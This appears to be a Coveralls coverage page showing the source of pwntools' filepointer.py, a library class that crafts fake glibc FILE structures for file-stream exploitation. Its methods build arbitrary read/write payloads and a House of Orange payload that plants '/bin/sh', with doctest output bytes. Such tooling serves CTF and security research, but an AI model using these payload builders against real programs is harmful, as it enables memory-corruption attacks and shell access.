• Home
  • Features
  • Pricing
  • Docs
  • Announcements
  • Sign In

Gallopsled / pwntools / 1

28 Jan 2022 10:58AM UTC coverage: 0.0% (-73.8%) from 73.823%
1

push

github

web-flow
Fix CI after Groovy Gorilla went away for libc unstrip test (#2025)

* Fix CI after Groovy Gorilla went away for libc unstrip test

Build elfutils 0.181 from source since we can't use builds
from a newer ubuntu version anymore.

* Install python wheels in CI

0 of 1 new or added line in 1 file covered. (0.0%)

13713 existing lines in 142 files now uncovered.

0 of 16559 relevant lines covered (0.0%)

0.0 hits per line

Source File
Press 'n' to go to next uncovered line, 'b' for previous

0.0
/pwnlib/filepointer.py
1
# -*- coding: utf-8 -*-
2

3
r"""
4
File Structure Exploitation
5

6
struct FILE (_IO_FILE) is the structure for File Streams.
7
This offers various targets for exploitation on an existing bug in the code.
8
Examples - ``_IO_buf_base`` and ``_IO_buf_end`` for reading data to arbitrary location.
9

10
Remembering the offsets of various structure members while faking a FILE structure can be difficult,
11
so this python class helps you with that. Example-
12

13
>>> context.clear(arch='amd64')
14
>>> fileStr = FileStructure(null=0xdeadbeef)
15
>>> fileStr.vtable = 0xcafebabe
16
>>> payload = bytes(fileStr)
17
>>> payload
18
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
19

20
Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe
21

22
Currently only 'amd64' and 'i386' architectures are supported
23
"""
24

UNCOV
25
from __future__ import absolute_import
×
UNCOV
26
from __future__ import division
×
27

UNCOV
28
from pwnlib.context import context
×
UNCOV
29
from pwnlib.log import getLogger
×
UNCOV
30
from pwnlib.util.misc import python_2_bytes_compatible
×
UNCOV
31
from pwnlib.util.packing import pack
×
32

UNCOV
33
log = getLogger(__name__)
×
34

UNCOV
35
length=0
×
UNCOV
36
size='size'
×
UNCOV
37
name='name'
×
38

UNCOV
39
variables={
×
40
    0:{name:'flags',size:length},
41
    1:{name:'_IO_read_ptr',size:length},
42
    2:{name:'_IO_read_end',size:length},
43
    3:{name:'_IO_read_base',size:length},
44
    4:{name:'_IO_write_base',size:length},
45
    5:{name:'_IO_write_ptr',size:length},
46
    6:{name:'_IO_write_end',size:length},
47
    7:{name:'_IO_buf_base',size:length},
48
    8:{name:'_IO_buf_end',size:length},
49
    9:{name:'_IO_save_base',size:length},
50
    10:{name:'_IO_backup_base',size:length},
51
    11:{name:'_IO_save_end',size:length},
52
    12:{name:'markers',size:length},
53
    13:{name:'chain',size:length},
54
    14:{name:'fileno',size:4},
55
    15:{name:'_flags2',size:4},
56
    16:{name:'_old_offset',size:length},
57
    17:{name:'_cur_column',size:2},
58
    18:{name:'_vtable_offset',size:1},
59
    19:{name:'_shortbuf',size:1},
60
    20:{name:'unknown1',size:-4},
61
    21:{name:'_lock',size:length},
62
    22:{name:'_offset',size:8},
63
    23:{name:'_codecvt',size:length},
64
    24:{name:'_wide_data',size:length},
65
    25:{name:'unknown2',size:length},
66
    26:{name:'vtable',size:length}
67
}
68

UNCOV
69
del name, size, length
×
70

71

UNCOV
72
def update_var(l):
×
73
    r"""
74
    Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields.
75

76
    Arguments:
77
        l(int)
78
            l=8 for 'amd64' architecture and l=4 for 'i386' architecture
79

80
    Return Value:
81
        Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set
82

83
    Examples:
84

85
        >>> update_var(8)
86
        {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8}
87
    """
UNCOV
88
    var={}
×
UNCOV
89
    for i in variables:
×
UNCOV
90
        var[variables[i]['name']]=variables[i]['size']
×
UNCOV
91
    for i in var:
×
UNCOV
92
        if var[i]<=0:
×
UNCOV
93
            var[i]+=l
×
UNCOV
94
    if l==4:
×
UNCOV
95
        var['unknown2']=56
×
96
    else:
UNCOV
97
        var['unknown2']=48
×
UNCOV
98
    return var
×
99

100

UNCOV
101
@python_2_bytes_compatible
×
UNCOV
102
class FileStructure(object):
×
103
    r"""
104
    Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.
105

106
    Arguments:
107
        null(int)
108
            A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc)
109

110
    Examples:
111

112
        FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d
113

114
        >>> context.clear(arch='amd64')
115
        >>> fileStr = FileStructure(null=0xdeadbeeef)
116
        >>> fileStr.flags = 0xfbad1807
117
        >>> fileStr._IO_buf_base = 0xcafebabe
118
        >>> fileStr._IO_buf_end = 0xfacef00d
119
        >>> payload = bytes(fileStr)
120
        >>> payload
121
        b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
122

123
        Check the length of the FileStructure
124

125
        >>> len(fileStr)
126
        224
127

128
        The definition for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell
129

130
        >>> q=FileStructure(0xdeadbeef)
131
        >>> q
132
        { flags: 0x0
133
         _IO_read_ptr: 0x0
134
         _IO_read_end: 0x0
135
         _IO_read_base: 0x0
136
         _IO_write_base: 0x0
137
         _IO_write_ptr: 0x0
138
         _IO_write_end: 0x0
139
         _IO_buf_base: 0x0
140
         _IO_buf_end: 0x0
141
         _IO_save_base: 0x0
142
         _IO_backup_base: 0x0
143
         _IO_save_end: 0x0
144
         markers: 0x0
145
         chain: 0x0
146
         fileno: 0x0
147
         _flags2: 0x0
148
         _old_offset: 0xffffffffffffffff
149
         _cur_column: 0x0
150
         _vtable_offset: 0x0
151
         _shortbuf: 0x0
152
         unknown1: 0x0
153
         _lock: 0xdeadbeef
154
         _offset: 0xffffffffffffffff
155
         _codecvt: 0x0
156
         _wide_data: 0xdeadbeef
157
         unknown2: 0x0
158
         vtable: 0x0}
159
    """
160

UNCOV
161
    vars_=[]
×
UNCOV
162
    length={}
×
163

UNCOV
164
    def __init__(self, null=0):
×
UNCOV
165
            self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())]
×
UNCOV
166
            self.setdefault(null)
×
UNCOV
167
            self.length = update_var(context.bytes)
×
UNCOV
168
            self._old_offset = (1 << context.bits) - 1
×
169

UNCOV
170
    def __setattr__(self,item,value):
×
UNCOV
171
        if item in FileStructure.__dict__ or item in self.vars_:
×
UNCOV
172
            object.__setattr__(self,item,value)
×
173
        else:
UNCOV
174
            log.error("Unknown variable %r" % item)
×
175

UNCOV
176
    def __repr__(self):
×
UNCOV
177
        structure=[]
×
UNCOV
178
        for i in self.vars_:
×
UNCOV
179
            structure.append(" %s: %s" % (i,hex(self.__getattr__(i))))
×
UNCOV
180
        return "{"+ "\n".join(structure)+"}"
×
181

UNCOV
182
    def __getattr__(self,item):
×
UNCOV
183
        if item in FileStructure.__dict__ or item in self.vars_:
×
UNCOV
184
            return object.__getattribute__(self,item)
×
UNCOV
185
        log.error("Unknown variable %r" % item)
×
186

UNCOV
187
    def __len__(self):
×
UNCOV
188
        return len(bytes(self))
×
189

UNCOV
190
    def __bytes__(self):
×
UNCOV
191
        structure = b''
×
UNCOV
192
        for val in self.vars_:
×
UNCOV
193
            if isinstance(self.__getattr__(val), bytes):
×
UNCOV
194
                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
×
195
            else:
UNCOV
196
                structure += pack(self.__getattr__(val), self.length[val]*8)
×
UNCOV
197
        return structure
×
198

UNCOV
199
    def struntil(self,v):
×
200
        r"""
201
        Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well.
202

203
        Arguments:
204
            v(string)
205
                The name of the field uptil which the payload should be created.
206

207
        Example:
208

209
            Payload for data uptil _IO_buf_end
210

211
            >>> context.clear(arch='amd64')
212
            >>> fileStr = FileStructure(0xdeadbeef)
213
            >>> payload = fileStr.struntil("_IO_buf_end")
214
            >>> payload
215
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
216
        """
UNCOV
217
        if v not in self.vars_:
×
UNCOV
218
            return b''
×
UNCOV
219
        structure = b''
×
UNCOV
220
        for val in self.vars_:
×
UNCOV
221
            if isinstance(self.__getattr__(val), bytes):
×
UNCOV
222
                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
×
223
            else:
UNCOV
224
                structure += pack(self.__getattr__(val), self.length[val]*8)
×
UNCOV
225
            if val == v:
×
UNCOV
226
                break
×
UNCOV
227
        return structure[:-1]
×
228

UNCOV
229
    def setdefault(self,null):
×
UNCOV
230
            self.flags=0
×
UNCOV
231
            self._IO_read_ptr=0
×
UNCOV
232
            self._IO_read_end=0
×
UNCOV
233
            self._IO_read_base=0
×
UNCOV
234
            self._IO_write_base=0
×
UNCOV
235
            self._IO_write_ptr=0
×
UNCOV
236
            self._IO_write_end=0
×
UNCOV
237
            self._IO_buf_base=0
×
UNCOV
238
            self._IO_buf_end=0
×
UNCOV
239
            self._IO_save_base=0
×
UNCOV
240
            self._IO_backup_base=0
×
UNCOV
241
            self._IO_save_end=0
×
UNCOV
242
            self.markers=0
×
UNCOV
243
            self.chain=0
×
UNCOV
244
            self.fileno=0
×
UNCOV
245
            self._flags2=0
×
UNCOV
246
            self._old_offset=0
×
UNCOV
247
            self._cur_column=0
×
UNCOV
248
            self._vtable_offset=0
×
UNCOV
249
            self._shortbuf=0
×
UNCOV
250
            self.unknown1=0
×
UNCOV
251
            self._lock=null
×
UNCOV
252
            self._offset=0xffffffffffffffff
×
UNCOV
253
            self._codecvt=0
×
UNCOV
254
            self._wide_data=null
×
UNCOV
255
            self.unknown2=0
×
UNCOV
256
            self.vtable=0
×
257

UNCOV
258
    def write(self,addr=0,size=0):
×
259
        r"""
260
        Writing data out from arbitrary memory address.
261

262
        Arguments:
263
            addr(int)
264
                The address from which data is to be printed to stdout
265
            size(int)
266
                The size, in bytes, of the data to be printed
267

268
        Example:
269

270
            Payload for writing 100 bytes to stdout from the address 0xcafebabe
271

272
            >>> context.clear(arch='amd64')
273
            >>> fileStr = FileStructure(0xdeadbeef)
274
            >>> payload = fileStr.write(addr=0xcafebabe, size=100)
275
            >>> payload
276
            b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00'
277
        """
UNCOV
278
        self.flags &=~8
×
UNCOV
279
        self.flags |=0x800
×
UNCOV
280
        self._IO_write_base = addr
×
UNCOV
281
        self._IO_write_ptr = addr+size
×
UNCOV
282
        self._IO_read_end = addr
×
UNCOV
283
        self.fileno = 1
×
UNCOV
284
        return self.struntil('fileno')
×
285

UNCOV
286
    def read(self,addr=0,size=0):
×
287
        r"""
288
        Reading data into arbitrary memory location.
289

290
        Arguments:
291
            addr(int)
292
                The address into which data is to be written from stdin
293
            size(int)
294
                The size, in bytes, of the data to be written
295

296
        Example:
297

298
            Payload for reading 100 bytes from stdin into the address 0xcafebabe
299

300
            >>> context.clear(arch='amd64')
301
            >>> fileStr = FileStructure(0xdeadbeef)
302
            >>> payload = fileStr.read(addr=0xcafebabe, size=100)
303
            >>> payload
304
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
305
        """
UNCOV
306
        self.flags &=~4
×
UNCOV
307
        self._IO_read_base = 0
×
308
        self._IO_read_ptr = 0
×
UNCOV
309
        self._IO_buf_base = addr
×
UNCOV
310
        self._IO_buf_end = addr+size
×
UNCOV
311
        self.fileno = 0
×
UNCOV
312
        return self.struntil('fileno')
×
313

UNCOV
314
    def orange(self,io_list_all,vtable):
×
315
        r"""
316
        Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c), provided you have libc leaks.
317

318
        Arguments:
319
            io_list_all(int)
320
                Address of _IO_list_all in libc.
321
            vtable(int)
322
                Address of the fake vtable in memory
323

324
        Example:
325

326
            Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe -
327

328
            >>> context.clear(arch='amd64')
329
            >>> fileStr = FileStructure(0xdeadbeef)
330
            >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe)
331
            >>> payload
332
            b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
333
        """
UNCOV
334
        if context.bits == 64:
×
UNCOV
335
            self.flags = b'/bin/sh\x00'
×
UNCOV
336
            self._IO_read_ptr = 0x61
×
337
            self._IO_read_base = io_list_all-0x10
×
UNCOV
338
        elif context.bits == 32:
×
UNCOV
339
            self.flags = b'sh\x00'
×
UNCOV
340
            self._IO_read_ptr = 0x121
×
UNCOV
341
            self._IO_read_base = io_list_all-0x8
×
UNCOV
342
        self._IO_write_base = 0
×
UNCOV
343
        self._IO_write_ptr = 1
×
UNCOV
344
        self.vtable = vtable
×
UNCOV
345
        return self.__bytes__()
×
STATUS · Troubleshooting · Open an Issue · Sales · Support · CAREERS · ENTERPRISE · START FREE · SCHEDULE DEMO
ANNOUNCEMENTS · TWITTER · TOS & SLA · Supported CI Services · What's a CI service? · Automated Testing

© 2025 Coveralls, Inc